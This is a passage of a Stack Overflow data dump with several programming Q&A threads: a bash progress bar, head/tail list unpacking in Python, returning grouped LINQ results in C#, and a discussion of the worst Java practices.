&quot;$bar7&quot; $p ,\\\\n 'then 40 chars' &quot;$bar8&quot; $p \\\n ', or full width:\\n' '' &quot;$bar9&quot; $p ''\n ((10#$i)) || read -st .5 _; read -st .1 _ &amp;&amp; break\ndone\n</code></pre>\n<p>Could produce something like this:</p>\n<p><a href=\"https://i.stack.imgur.com/Boxva.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/Boxva.gif\" alt=\"Last animation percentBar animation\" /></a></p>\n<h2>Practical <em>GNU/Linux</em> sample: <code>sha1sum</code> with progress bar</h2>\n<p>Under linux, you could find a lot of usefull infos under <code>/proc</code> pseudo filesystem, so using previoulsy defined functions <code>percentBar</code> and <code>percent</code>, here is <code>sha1progress</code>:</p>\n<pre><code>percent(){ local p=00$(($1*100000/$2));printf -v &quot;$3&quot; %.2f ${p::-3}.${p: -3};}\nsha1Progress() { \n local -i totsize crtpos cols=$(tput cols) sha1in sha1pid\n local sha1res percent prctbar\n exec {sha1in}&lt; &lt;(exec sha1sum -b - &lt;&quot;$1&quot;)\n sha1pid=$!\n read -r totsize &lt; &lt;(stat -Lc %s &quot;$1&quot;)\n while ! read -ru $sha1in -t .025 sha1res _; do\n read -r _ crtpos &lt; /proc/$sha1pid/fdinfo/0\n percent $crtpos $totsize percent\n percentBar $percent $((cols-8)) prctbar\n printf '\\r\\e[44;38;5;25m%s\\e[0m%6.2f%%' &quot;$prctbar&quot; $percent;\n\n done\n printf &quot;\\r%s %s\\e[K\\n&quot; $sha1res &quot;$1&quot;\n}\n</code></pre>\n<p>Of course, <em><code>25 ms</code></em> timeout mean approx 40 refresh per second. This could look overkill, but work fine on my host, and anyway, this can be tunned.</p>\n<p><a href=\"https://i.stack.imgur.com/CUvw4.gif\" rel=\"nofollow noreferrer\"><img src=\"https://i.stack.imgur.com/CUvw4.gif\" alt=\"sha1Progress sample\" /></a></p>\n<p>Explanation:</p>\n<ul>\n<li><code>exec {sha1in}&lt;</code> create a new <em>file descriptor</em> for the output of</li>\n<li><code>&lt;( ... )</code> forked task run in background</li>\n<li><code>sha1sum -b - &lt;&quot;$1&quot;</code> ensuring input came from STDIN (<code>fd/0</code>)</li>\n<li><code>while ! read -ru $sha1in -t .025 sha1res _</code> While no input read from subtask, in <em><code>25 ms</code></em>...</li>\n<li><code>/proc/$sha1pid/fdinfo/0</code> kernel variable showing information about <em>file descriptor 0</em> (STDIN) of task <code>$sha1pid</code></li>\n</ul>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238073", "https://Stackoverflow.com", "https://Stackoverflow.com/users/13523/" ]
When scripting in bash or any other shell in \*NIX, while running a command that will take more than a few seconds, a progress bar is needed. For example, copying a big file, opening a big tar file. What ways do you recommend to add progress bars to shell scripts?
You can implement this by overwriting a line. Use `\r` to go back to the beginning of the line without writing `\n` to the terminal. Write `\n` when you're done to advance the line. Use `echo -ne` to: 1. not print `\n` and 2. to recognize escape sequences like `\r`. Here's a demo: ``` echo -ne '##### (33%)\r' sleep 1 echo -ne '############# (66%)\r' sleep 1 echo -ne '####################### (100%)\r' echo -ne '\n' ``` In a comment below, puk mentions this "fails" if you start with a long line and then want to write a short line: In this case, you'll need to overwrite the length of the long line (e.g., with spaces).
238,102
<p>I want to do some pattern matching on lists in Python. For example, in Haskell, I can do something like the following:</p> <pre><code>fun (head : rest) = ... </code></pre> <p>So when I pass in a list, <code>head</code> will be the first element, and <code>rest</code> will be the trailing elements.</p> <p>Likewise, in Python, I can automatically unpack tuples:</p> <pre><code>(var1, var2) = func_that_returns_a_tuple() </code></pre> <p>I want to do something similar with lists in Python. Right now, I have a function that returns a list, and a chunk of code that does the following:</p> <pre><code>ls = my_func() (head, rest) = (ls[0], ls[1:]) </code></pre> <p>I wondered if I could somehow do that in one line in Python, instead of two.</p>
[ { "answer_id": 238123, "author": "ConcernedOfTunbridgeWells", "author_id": 15401, "author_profile": "https://Stackoverflow.com/users/15401", "pm_score": 2, "selected": false, "text": "<p>That's a very much a 'pure functional' approach and as such is a sensible idiom in Haskell but it's probably not so appropriate to Python. Python only has a very limited concept of <a href=\"http://www.haskell.org/tutorial/patterns.html\" rel=\"nofollow noreferrer\">patterns</a> in this way - and I suspect you might need a somewhat more rigid type system to implement that sort of construct (<a href=\"http://www.erlang.org/\" rel=\"nofollow noreferrer\">erlang</a> buffs invited to disagree here).</p>\n\n<p>What you have is probably as close as you would get to that idiom, but you are probably better off using a list comprehension or imperative approach rather than recursively calling a function with the tail of the list. </p>\n\n<p>As has been <a href=\"http://www.oreillynet.com/onlamp/blog/2005/10/pythons_weak_functional_progra.html\" rel=\"nofollow noreferrer\">stated</a> <a href=\"http://www.artima.com/weblogs/viewpost.jsp?thread=4550\" rel=\"nofollow noreferrer\">on a few occasions</a> <a href=\"http://blog.ianbicking.org/functional-python.html\" rel=\"nofollow noreferrer\">before</a>, Python is not actually a functional language. It just borrows ideas from the FP world. It is not inherently <a href=\"http://en.wikipedia.org/wiki/Tail_recursion\" rel=\"nofollow noreferrer\">Tail Recursive</a> in the way you would expect to see embedded in the architecture of a functional language, so you would have some difficulty doing this sort of recursive operation on a large data set without using a lot of stack space.</p>\n" }, { "answer_id": 238124, "author": "James Bennett", "author_id": 28070, "author_profile": "https://Stackoverflow.com/users/28070", "pm_score": 7, "selected": true, "text": "<p>So far as I know there's no way to make it a one-liner in current Python without introducing another function, e.g.:</p>\n\n<pre><code>split_list = lambda lst: (lst[0], lst[1:])\nhead, rest = split_list(my_func())\n</code></pre>\n\n<p>However, in Python 3.0 the specialized syntax used for variadic argument signatures and argument unpacking will become available for this type of general sequence unpacking as well, so in 3.0 you'll be able to write:</p>\n\n<pre><code>head, *rest = my_func()\n</code></pre>\n\n<p>See <a href=\"https://www.python.org/dev/peps/pep-3132/\" rel=\"noreferrer\">PEP 3132</a> for details.</p>\n" }, { "answer_id": 238126, "author": "kender", "author_id": 4172, "author_profile": "https://Stackoverflow.com/users/4172", "pm_score": 2, "selected": false, "text": "<p>Well, why you want it in 1-line in the first place? </p>\n\n<p>If you really want to, you can always do a trick like this:</p>\n\n<pre><code>def x(func):\n y = func()\n return y[0], y[1:]\n\n# then, instead of calling my_func() call x(my_func)\n(head, rest) = x(my_func) # that's one line :)\n</code></pre>\n" }, { "answer_id": 238153, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>extended unpacking was introduced in 3.0\n<a href=\"http://www.python.org/dev/peps/pep-3132/\" rel=\"nofollow noreferrer\">http://www.python.org/dev/peps/pep-3132/</a></p>\n" }, { "answer_id": 238170, "author": "mweerden", "author_id": 4285, "author_profile": "https://Stackoverflow.com/users/4285", "pm_score": 5, "selected": false, "text": "<p>First of all, please note that the \"pattern matching\" of functional languages and the assignment to tuples you mention are not really that similar. In functional languages the patterns are used to give partial definitions of a function. So <code>f (x : s) = e</code> does not mean take the head and tail of the argument of <code>f</code> and return <code>e</code> using them, but it means that <em>if</em> the argument of <code>f</code> is of the form <code>x : s</code> (for some <code>x</code> and <code>s</code>), <em>then</em> <code>f (x : s)</code> is equal to <code>e</code>.</p>\n\n<p>The assignment of python is more like a multiple assignment (I suspect that was its original intention). So you write, for example, <code>x, y = y, x</code> to swap the values in <code>x</code> and <code>y</code> without needing a temporary variable (as you would with a simple assignment statement). This has little to do with pattern matching as it is basically a shorthand for the \"simultaneous\" execution of <code>x = y</code> and <code>y = x</code>. Although python allows arbitrary sequences instead of comma-separated lists, I would not suggest calling this pattern matching. With pattern matching you check whether or not something matches a pattern; in the python assignment you should ensure that the sequences on both sides are the same.</p>\n\n<p>To do what you seem to want you would usually (also in functional languages) use either a auxiliary function (as mentioned by others) or something similar to <code>let</code> or <code>where</code> constructs (which you can regard as using anonymous functions). For example:</p>\n\n<pre><code>(head, tail) = (x[0], x[1:]) where x = my_func()\n</code></pre>\n\n<p>Or, in actual python:</p>\n\n<pre><code>(head, tail) = (lambda x: (x[0], x[1:]))(my_func())\n</code></pre>\n\n<p>Note that this is essentially the same as the solutions given by others with an auxiliary function except that this is the one-liner you wanted. It is, however, not necessarily better than a separate function.</p>\n\n<p>(Sorry if my answer is a bit over the top. I just think it's important to make the distinction clear.)</p>\n" }, { "answer_id": 238185, "author": "Jake", "author_id": 24730, "author_profile": "https://Stackoverflow.com/users/24730", "pm_score": 1, "selected": false, "text": "<p>there was a reciepe in the python cookbook to do this. i cant seem to find it now but here is the code (i modified it slightly)</p>\n\n<pre><code>\ndef peel(iterable,result=tuple):\n '''Removes the requested items from the iterable and stores the remaining in a tuple\n >>> x,y,z=peel('test')\n >>> print repr(x),repr(y),z\n 't' 'e' ('s', 't')\n '''\n def how_many_unpacked():\n import inspect,opcode\n f = inspect.currentframe().f_back.f_back\n if ord(f.f_code.co_code[f.f_lasti])==opcode.opmap['UNPACK_SEQUENCE']:\n return ord(f.f_code.co_code[f.f_lasti+1])\n raise ValueError(\"Must be a generator on RHS of a multiple assignment!!\")\n iterator=iter(iterable)\n hasItems=True\n amountToUnpack=how_many_unpacked()-1\n next=None\n for num in xrange(amountToUnpack):\n if hasItems: \n try:\n next = iterator.next()\n except StopIteration:\n next = None\n hasItems = False\n yield next\n if hasItems:\n yield result(iterator)\n else:\n yield None\n</code></pre>\n\n<p>however you should note that that only works when using an assignment unpack because of the way it inespects the previous frame... still its quite useful.</p>\n" }, { "answer_id": 239676, "author": "Brian", "author_id": 9493, "author_profile": "https://Stackoverflow.com/users/9493", "pm_score": 2, "selected": false, "text": "<p>Further to the other answers, note that the equivalent head / tail operation in Python, including python3's extension of the * syntax is generally going to be less efficient than Haskell's pattern matching.</p>\n\n<p>Python lists are implemented as vectors, so obtaining the tail will need to take a copy of the list. This is O(n) wrt the size of the list, whereas an implementaion using linked lists like Haskell can merely use the tail pointer, an O(1) operation.</p>\n\n<p>The only exception may be iterator based approaches, where the list isn't actually returned, but an iterator is. However this may not be applicable all places where a list is desired (eg. iterating multiple times).</p>\n\n<p>For instance, <a href=\"https://stackoverflow.com/questions/238102/pattern-matching-of-lists-in-python#238185\">Cipher's</a> approach, if modified to return the iterator rather than converting it to a tuple will have this behaviour. Alternatively a simpler 2-item only method not relying on the bytecode would be:</p>\n\n<pre><code>def head_tail(lst):\n it = iter(list)\n yield it.next()\n yield it\n\n&gt;&gt;&gt; a, tail = head_tail([1,2,3,4,5])\n&gt;&gt;&gt; b, tail = head_tail(tail)\n&gt;&gt;&gt; a,b,tail\n(1, 2, &lt;listiterator object at 0x2b1c810&gt;)\n&gt;&gt;&gt; list(tail)\n[3, 4]\n</code></pre>\n\n<p>Obviously though you still have to wrap in a utility function rather than there being nice syntactic sugar for it.</p>\n" }, { "answer_id": 240018, "author": "giltay", "author_id": 21106, "author_profile": "https://Stackoverflow.com/users/21106", "pm_score": 2, "selected": false, "text": "<p>Unlike Haskell or ML, Python doesn't have built-in pattern-matching of structures. The most Pythonic way of doing pattern-matching is with a try-except block:</p>\n\n<pre><code>def recursive_sum(x):\n try:\n head, tail = x[0], x[1:]\n return head + recursive-sum(tail)\n except IndexError: # empty list: [][0] raises IndexError\n return 0\n</code></pre>\n\n<p>Note that this only works with objects with slice indexing. Also, if the function gets complicated, something in the body <em>after</em> the <code>head, tail</code> line might raise IndexError, which will lead to subtle bugs. However, this does allow you to do things like:</p>\n\n<pre><code>for frob in eggs.frob_list:\n try:\n frob.spam += 1\n except AttributeError:\n eggs.no_spam_count += 1\n</code></pre>\n\n<p>In Python, tail recursion is generally better implemented as a loop with an accumulator, i.e.:</p>\n\n<pre><code>def iterative_sum(x):\n ret_val = 0\n for i in x:\n ret_val += i\n return ret_val\n</code></pre>\n\n<p>This is the one obvious, right way to do it 99% of the time. Not only is it clearer to read, it's faster and it will work on things other than lists (sets, for instance). If there's an exception waiting to happen in there, the function will happily fail and deliver it up the chain.</p>\n" }, { "answer_id": 11588095, "author": "Martin Blech", "author_id": 113643, "author_profile": "https://Stackoverflow.com/users/113643", "pm_score": 2, "selected": false, "text": "<p>I'm working on <a href=\"https://github.com/martinblech/pyfpm\" rel=\"nofollow\">pyfpm</a>, a library for pattern matching in Python with a Scala-like syntax. You can use it to unpack objects like this:</p>\n\n<pre><code>from pyfpm import Unpacker\n\nunpacker = Unpacker()\n\nunpacker('head :: tail') &lt;&lt; (1, 2, 3)\n\nunpacker.head # 1\nunpacker.tail # (2, 3)\n</code></pre>\n\n<p>Or in a function's arglist:</p>\n\n<pre><code>from pyfpm import match_args\n\n@match_args('head :: tail')\ndef f(head, tail):\n return (head, tail)\n\nf(1) # (1, ())\nf(1, 2, 3, 4) # (1, (2, 3, 4))\n</code></pre>\n" }, { "answer_id": 52082215, "author": "Lyndsy Simon", "author_id": 1336699, "author_profile": "https://Stackoverflow.com/users/1336699", "pm_score": 1, "selected": false, "text": "<p>For your specific use case - emulating Haskell's <code>fun (head : rest) = ...</code>, sure. Function definitions have supported parameter unpacking for quite some time:</p>\n\n<pre><code>def my_method(head, *rest):\n # ...\n</code></pre>\n\n<p>As of Python 3.0, as @bpowah <a href=\"https://stackoverflow.com/a/238153/1336699\">mentioned</a>, Python supports unpacking on assignment as well:</p>\n\n<pre><code>my_list = ['alpha', 'bravo', 'charlie', 'delta', 'echo']\nhead, *rest = my_list\nassert head == 'alpha'\nassert rest == ['bravo', 'charlie', 'delta', 'echo']\n</code></pre>\n\n<p>Note that the asterisk (the \"splat\") means \"the remainder of the iterable\", not \"until the end\". The following works fine:</p>\n\n<pre><code>first, *middle, last = my_list\nassert first == 'alpha'\nassert last == 'echo'\nassert middle == ['bravo', 'charlie', 'delta']\n\nfirst, *middle, last = ['alpha', 'bravo']\nassert first == 'alpha'\nassert last == 'bravo'\nassert middle == []\n</code></pre>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238102", "https://Stackoverflow.com", "https://Stackoverflow.com/users/28804/" ]
I want to do some pattern matching on lists in Python. For example, in Haskell, I can do something like the following: ``` fun (head : rest) = ... ``` So when I pass in a list, `head` will be the first element, and `rest` will be the trailing elements. Likewise, in Python, I can automatically unpack tuples: ``` (var1, var2) = func_that_returns_a_tuple() ``` I want to do something similar with lists in Python. Right now, I have a function that returns a list, and a chunk of code that does the following: ``` ls = my_func() (head, rest) = (ls[0], ls[1:]) ``` I wondered if I could somehow do that in one line in Python, instead of two.
So far as I know there's no way to make it a one-liner in current Python without introducing another function, e.g.: ``` split_list = lambda lst: (lst[0], lst[1:]) head, rest = split_list(my_func()) ``` However, in Python 3.0 the specialized syntax used for variadic argument signatures and argument unpacking will become available for this type of general sequence unpacking as well, so in 3.0 you'll be able to write: ``` head, *rest = my_func() ``` See [PEP 3132](https://www.python.org/dev/peps/pep-3132/) for details.
238,110
<p>I am trying to get the signature on the method below to work. As this is an Anonymous Type I have some trouble, any help would be great.</p> <p>When I looked at sortedGameList.ToList() in a QuickWatch window I get the signature </p> <pre><code>System.Collections.Generic.List&lt;&lt;&gt;f__AnonymousType0&lt;System.DateTime,System.Linq.IGrouping&lt;System.DateTime,DC.FootballLeague.Web.Models.Game&gt;&gt;&gt; </code></pre> <p>Many Thanks</p> <p>Donald</p> <pre><code> public List&lt;IGrouping&lt;DateTime, Game&gt;&gt; getGamesList(int leagueID) { var sortedGameList = from g in Games group g by g.Date into s select new { Date = s.Key, Games = s }; return sortedGameList.ToList(); } </code></pre>
[ { "answer_id": 238127, "author": "Brad Wilson", "author_id": 1554, "author_profile": "https://Stackoverflow.com/users/1554", "pm_score": 3, "selected": false, "text": "<p>The simple answer is: don't use an anonymous type.</p>\n\n<p>The closest you're going get with that anonymous type is IEnumerable&lt;object>. The problem is, anybody who uses your stuff is not going to know what to do with that object whose type was \"unpredictable\".</p>\n\n<p>Instead, make a class like:</p>\n\n<pre><code>public class GamesWithDate {\n public DateTime Date { get; set; }\n public List&lt;Game&gt; Games { get; set; }\n}\n</code></pre>\n\n<p>And change your LINQ to:</p>\n\n<pre><code>var sortedGameList =\n from g in Games\n group g by g.Date into s\n select new GamesWithDate { Date = s.Key, Games = s };\n</code></pre>\n\n<p>Now you're returning List&lt;GamesWithDate>.</p>\n" }, { "answer_id": 238129, "author": "leppie", "author_id": 15541, "author_profile": "https://Stackoverflow.com/users/15541", "pm_score": 4, "selected": true, "text": "<p><strike> select new { Date = s.Key, Games = s.ToList() }; </strike></p>\n\n<p>Edit: thats wrong! I think this will do.</p>\n\n<pre><code>public List&lt;IGrouping&lt;DateTime, Game&gt;&gt; getGamesList(int leagueID)\n{\n var sortedGameList =\n from g in Games\n group g by g.Date;\n\n return sortedGameList.ToList();\n}\n</code></pre>\n\n<p>And no, you do not need the select!</p>\n" }, { "answer_id": 238132, "author": "Amy B", "author_id": 8155, "author_profile": "https://Stackoverflow.com/users/8155", "pm_score": 3, "selected": false, "text": "<p>You shouldn't return anonymous instances.</p>\n\n<p>You can't return anonymous types.</p>\n\n<p>Make a type (named) and return that:</p>\n\n<pre><code>public class GameGroup\n{\n public DateTime TheDate {get;set;}\n public List&lt;Game&gt; TheGames {get;set;}\n}\n</code></pre>\n\n<p>//</p>\n\n<pre><code>public List&lt;GameGroup&gt; getGamesGroups(int leagueID)\n{\n List&lt;GameGroup&gt; sortedGameList =\n Games\n .GroupBy(game =&gt; game.Date)\n .OrderBy(g =&gt; g.Key)\n .Select(g =&gt; new GameGroup(){TheDate = g.Key, TheGames = g.ToList()})\n .ToList();\n\n return sortedGameList;\n}\n</code></pre>\n" } ]
2008/10/26
[ "https://Stackoverflow.com/questions/238110", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17584/" ]
I am trying to get the signature on the method below to work. As this is an Anonymous Type I have some trouble, any help would be great. When I looked at sortedGameList.ToList() in a QuickWatch window I get the signature ``` System.Collections.Generic.List<<>f__AnonymousType0<System.DateTime,System.Linq.IGrouping<System.DateTime,DC.FootballLeague.Web.Models.Game>>> ``` Many Thanks Donald ``` public List<IGrouping<DateTime, Game>> getGamesList(int leagueID) { var sortedGameList = from g in Games group g by g.Date into s select new { Date = s.Key, Games = s }; return sortedGameList.ToList(); } ```
select new { Date = s.Key, Games = s.ToList() }; Edit: thats wrong! I think this will do. ``` public List<IGrouping<DateTime, Game>> getGamesList(int leagueID) { var sortedGameList = from g in Games group g by g.Date; return sortedGameList.ToList(); } ``` And no, you do not need the select!
238,173
<p>Similar to <a href="https://stackoverflow.com/questions/233030/worst-php-practice-found-in-your-experience">this question</a>...</p> <p>What are the worst practices you actually found in Java code?</p> <p>Mine are:</p> <ul> <li>using instance variables in servlets (it's not just bad practice but bug, actually)</li> <li>using Collection implementations like HashMap, and not using the appropriate interfaces</li> <li>using seemingly cryptic class names like SmsMaker (SmsFactory) or CommEnvironment (CommunicationContext)</li> </ul>
[ { "answer_id": 238181, "author": "Inisheer", "author_id": 2982, "author_profile": "https://Stackoverflow.com/users/2982", "pm_score": 3, "selected": false, "text": "<p><a href=\"https://stackoverflow.com/questions/237719#237728\">Overkill abstraction of object oriented design (Deleted so 10k only).</a> </p>\n\n<p>Same answer on a similar thread (applies to all languages which permit object oriented design).</p>\n" }, { "answer_id": 238189, "author": "Claudiu", "author_id": 15055, "author_profile": "https://Stackoverflow.com/users/15055", "pm_score": 4, "selected": false, "text": "<p>Not related strictly to Java, but calling an expensive function over and over instead of storing the result, when you know it won't change. Example:</p>\n\n<pre><code>if (expensiveFunction() &gt; aVar)\n aVar = expensiveFunction();\nfor (int i=0; i &lt; expensiveFunction(); ++i)\n System.out.println(expensiveFunction());\n</code></pre>\n" }, { "answer_id": 238201, "author": "Jack Leow", "author_id": 31506, "author_profile": "https://Stackoverflow.com/users/31506", "pm_score": 1, "selected": false, "text": "<p>Similar to yours, but taken a step further:</p>\n\n<p>Use of class (static) variables when a request scoped variable was the correct thing to do in a Struts action. :O</p>\n\n<p>This was actually deployed in production for a few months, and no one ever noticed a thing until I was reviewing the code one day.</p>\n" }, { "answer_id": 238258, "author": "John Topley", "author_id": 1450, "author_profile": "https://Stackoverflow.com/users/1450", "pm_score": 5, "selected": false, "text": "<p>I hate it when people create interfaces just for hanging a set of constants on:</p>\n\n<pre><code>public interface InterfaceAntiPattern {\n boolean BAD_IDEA = true;\n int THIS_SUCKS = 1;\n}\n</code></pre>\n\n<p>&mdash;Interfaces are for specifying behavioural contracts, not a convenience mechanism for including constants.</p>\n" }, { "answer_id": 238283, "author": "volley", "author_id": 13905, "author_profile": "https://Stackoverflow.com/users/13905", "pm_score": 4, "selected": false, "text": "<p>Subclassing when you're not supposed to, e.g. instead of using composition, aggregation, etc.</p>\n\n<p>Edit: This is a special case of <a href=\"https://stackoverflow.com/questions/237241/what-coding-mistakes-are-a-telltale-giveaway-of-an-inexperienced-programmer#237266\">the hammer</a>.</p>\n" }, { "answer_id": 238302, "author": "oxbow_lakes", "author_id": 16853, "author_profile": "https://Stackoverflow.com/users/16853", "pm_score": 3, "selected": false, "text": "<p>Abstracting functionality out into a library class <em>which will never be re-used as it's so specific to the original problem being solved</em>. Hence ending up with a gazillion library classes which no-one will ever use and which completely obscure the two useful utilities you actually <strong>do</strong> have (i.e. <code>CollectionUtils</code> and <code>IOUtils</code>).</p>\n\n<p>...pauses for breath...</p>\n" }, { "answer_id": 238333, "author": "asalamon74", "author_id": 21348, "author_profile": "https://Stackoverflow.com/users/21348", "pm_score": 8, "selected": true, "text": "<p>I had to maintain java code, where most of the Exception handling was like:</p>\n\n<pre><code>catch( Exception e ) {}\n</code></pre>\n" }, { "answer_id": 238383, "author": "jb.", "author_id": 7918, "author_profile": "https://Stackoverflow.com/users/7918", "pm_score": 4, "selected": false, "text": "<p>Our intern used <code>static</code> modifier to store currently logged user in Seam application.</p>\n\n<pre><code> class Identity{\n ...\n public static User user; \n ...\n }\n\n class foo{\n\n void bar(){\n someEntity.setCreator(Identity.user); \n }\n\n }\n</code></pre>\n\n<p>Of course it worked when he tested it :)</p>\n" }, { "answer_id": 238902, "author": "Apocalisp", "author_id": 3434, "author_profile": "https://Stackoverflow.com/users/3434", "pm_score": 4, "selected": false, "text": "<p>The worst Java practice that encompasses almost all others: <strong>Global mutable state.</strong></p>\n" }, { "answer_id": 238970, "author": "madlep", "author_id": 14160, "author_profile": "https://Stackoverflow.com/users/14160", "pm_score": 4, "selected": false, "text": "<p>Ridiculous OO mania with class hierachies 10+ levels deep.</p>\n\n<p>This is where names like <code>DefaultConcreteMutableAbstractWhizzBangImpl</code> come from. Just try debugging that kind of code - you'll be whizzing up and down the class tree for hours.</p>\n" }, { "answer_id": 242368, "author": "albertb", "author_id": 26715, "author_profile": "https://Stackoverflow.com/users/26715", "pm_score": 2, "selected": false, "text": "<p>@madlep Exactly! Parts of the Java community really goes overboard with extreme abstractions and crazily deep class hierarchies. Steve Yegge had a good blog post about it a couple of years back: <a href=\"http://steve-yegge.blogspot.com/2006/03/execution-in-kingdom-of-nouns.html\" rel=\"nofollow noreferrer\">Execution in the Kingdom of Nouns</a>.</p>\n" }, { "answer_id": 247899, "author": "Steve B.", "author_id": 19479, "author_profile": "https://Stackoverflow.com/users/19479", "pm_score": 5, "selected": false, "text": "<pre><code>if{\n if{\n if{\n if{\n if{\n if{\n if{\n if{\n ....\n</code></pre>\n" }, { "answer_id": 1219179, "author": "Thorbjørn Ravn Andersen", "author_id": 53897, "author_profile": "https://Stackoverflow.com/users/53897", "pm_score": 3, "selected": false, "text": "<p>I once had to investigate a web application where ALL state was kept in the web page sent to the client, and no state in the web server.</p>\n\n<p>Scales well though :)</p>\n" }, { "answer_id": 1219428, "author": "Peter Lawrey", "author_id": 57695, "author_profile": "https://Stackoverflow.com/users/57695", "pm_score": 5, "selected": false, "text": "<p>Six really bad examples;</p>\n\n<ul>\n<li>Instead of error reporting, just\n<code>System.exit</code> without warning. e.g.<br>\n<code>if(properties.size()&gt;10000) System.exit(0);</code> buried deep in a\nlibrary. </li>\n<li>Using string constants as\nlocks. e.g. <code>synchronized(\"one\") { }</code>.</li>\n<li>Locking on a mutable field. e.g. <code>synchronized(object) { object = ...; }</code>.</li>\n<li>Initializing static fields in the constructor.</li>\n<li>Triggering an exception just to get a stack trace. e.g. <code>try { Integer i = null; i.intValue(); } catch(NullPointerException e) { e.printStackTrace(); }</code>.</li>\n<li>Pointless object creation e.g. <code>new Integer(text).intValue() or worse new Integer(0).getClass()</code></li>\n</ul>\n" }, { "answer_id": 1220910, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 2, "selected": false, "text": "<p>My favorite sorting algorithm, courtesy of the gray beard brigade:</p>\n\n<pre><code>List needsToBeSorted = new List ();\n...blah blah blah...\n\nSet sorted = new TreeSet ();\nfor (int i = 0; i &lt; needsToBeSorted; i++)\n sorted.add (needsToBeSorted.get (i));\n\nneedsToBeSorted.clear ();\nfor (Iterator i = sorted.iterator (); i.hasNext ();)\n needsToBeSorted.add (i.next ());\n</code></pre>\n\n<p>Admittedly it worked but eventually I prevailed upon him that perhaps Collections.sort would be a lot easier.</p>\n" }, { "answer_id": 1220934, "author": "Peter Štibraný", "author_id": 47190, "author_profile": "https://Stackoverflow.com/users/47190", "pm_score": 5, "selected": false, "text": "<p>Once I encountered 'singleton' exception:</p>\n\n<pre><code>class Singletons {\n public static final MyException myException = new MyException();\n}\n\nclass Test {\n public void doSomething() throws MyException {\n throw Singletons.myException;\n }\n}\n</code></pre>\n\n<p><strong>Same instance of exception</strong> was thrown each time ... with exact same stacktrace, which had nothing to do with real code flow :-(</p>\n" }, { "answer_id": 1503092, "author": "slim", "author_id": 7512, "author_profile": "https://Stackoverflow.com/users/7512", "pm_score": 3, "selected": false, "text": "<p>An API that requires the caller to do:</p>\n\n<pre><code>Foobar f = new Foobar(foobar_id);\nf = f.retrieve();\n</code></pre>\n\n<p>Any of the following would have been better:</p>\n\n<pre><code>Foobar f = Foobar.retrieve(foobar_id);\n</code></pre>\n\n<p>or</p>\n\n<pre><code>Foobar f = new Foobar(foobar_id); // implicit retrieve\n</code></pre>\n\n<p>or</p>\n\n<pre><code>Foobar f = new Foobar();\nf.retrieve(foobar_id); // but not f = ...\n</code></pre>\n" }, { "answer_id": 1503166, "author": "dogbane", "author_id": 7412, "author_profile": "https://Stackoverflow.com/users/7412", "pm_score": 3, "selected": false, "text": "<p>Not closing database connections, file handles etc in a finally{}</p>\n" }, { "answer_id": 1503212, "author": "Emilio M Bumachar", "author_id": 174365, "author_profile": "https://Stackoverflow.com/users/174365", "pm_score": 3, "selected": false, "text": "<p>Creating acessors and mutators for <em>all</em> private variables, without stopping to think, sometimes automatically.</p>\n\n<p>Encapsulation was invented for a reason. </p>\n" }, { "answer_id": 1503230, "author": "Jesper", "author_id": 135589, "author_profile": "https://Stackoverflow.com/users/135589", "pm_score": 0, "selected": false, "text": "<p>A mistake made by junior programmers: unnecessarily using member variables instead of local variables.</p>\n\n<p>A Java EE example:</p>\n\n<p>Starting threads in servlets or EJBs (for example to start asynchronous processing tasks).</p>\n\n<p>This breaks the scalability of your Java EE app. You're not supposed to mess with threading in Java EE components, because the app server is supposed to manage that for you.</p>\n\n<p>We refactored this by having the servlet put a message on a JMS queue and writing a message-driven bean to handle the asynchronous processing task.</p>\n" }, { "answer_id": 1503280, "author": "PeterMmm", "author_id": 114226, "author_profile": "https://Stackoverflow.com/users/114226", "pm_score": 1, "selected": false, "text": "<p>Excesive focuse on re-using objects that leads to static things everywhere.\n(Said re-using can be very helpfull in some situation).</p>\n\n<p>Java has GC build-in, if you need an object, create a new one.</p>\n" }, { "answer_id": 1503934, "author": "Prabhu R", "author_id": 77087, "author_profile": "https://Stackoverflow.com/users/77087", "pm_score": 2, "selected": false, "text": "<p>Defining the logic using exceptions where a for-loop or any form of loop would suffice. </p>\n\n<p>Example: </p>\n\n<pre><code>while(i &lt; MAX_VALUE)\n{\n try\n {\n while(true)\n {\n array[j] = //some operation on the array;\n j++; \n\n }\n }\n catch(Exception e)\n {\n j = 0;\n }\n}\n</code></pre>\n\n<p>Serious, I know the guy who wrote this code. I reviewed it and corrected the code :)</p>\n" }, { "answer_id": 3360657, "author": "cringe", "author_id": 834, "author_profile": "https://Stackoverflow.com/users/834", "pm_score": 2, "selected": false, "text": "<p>I saw this line a couple of minutes ago:</p>\n\n<pre><code>Short result = new Short(new Integer(new Double(d).intValue()).shortValue());\n</code></pre>\n" }, { "answer_id": 4026029, "author": "barrymac", "author_id": 218635, "author_profile": "https://Stackoverflow.com/users/218635", "pm_score": 0, "selected": false, "text": "<p>I think this one for me must be a record. A class is used for building a complex data model for the front end involving filtering. so the method that returns the list of objects goes something like this:</p>\n\n<pre><code> public DataObjectList (GenerateList (massive signature involving 14 parameters, three of which are collections and one is a collection of collections) \ntry { \n\n250 lines of code to retrieve the data which calls a stored proc that parses some of it and basically contains GUI logic\n\n } catch (Exception e) {\n return new DataObjectList(e, filterFields);\n }\n</code></pre>\n\n<p>So I got here because I was wondering how come the following calling method was failing and I couldn't see where the Exception field was being set. </p>\n\n<pre><code>DataObjectList dataObjectList= EntireSystemObject.getDataObjectList Generator().generateDataObjectList (viewAsUserCode, processedDataRowHandler, folderQuery, pageNumber, listCount, sortColumns, sortDirections, groupField, filters, firstRun, false, false, resetView);\n\ndataObjectList.setData(processedDataRowHandler.getData());\n\nif (dataObjectList.getErrorException() == null) {\n\ndo stuff for GUI, I think, put lots of things into maps ... 250 lines or so\n\n }\n return dataObjectList;\n } else {\n\nput a blank version into the GUI and then \n\n throw new DWRErrorException(\"List failed due to list generation error\", \"list failed due to list generation error for folder: \" + folderID + \", column: \" + columnID, List.getErrorException(), ListInfo);\n }\n</code></pre>\n\n<p>All with me so far? </p>\n\n<p>Well at least they did tell us in the front end that something did actually go wrong!</p>\n" }, { "answer_id": 4026256, "author": "Yevgeniy Brikman", "author_id": 483528, "author_profile": 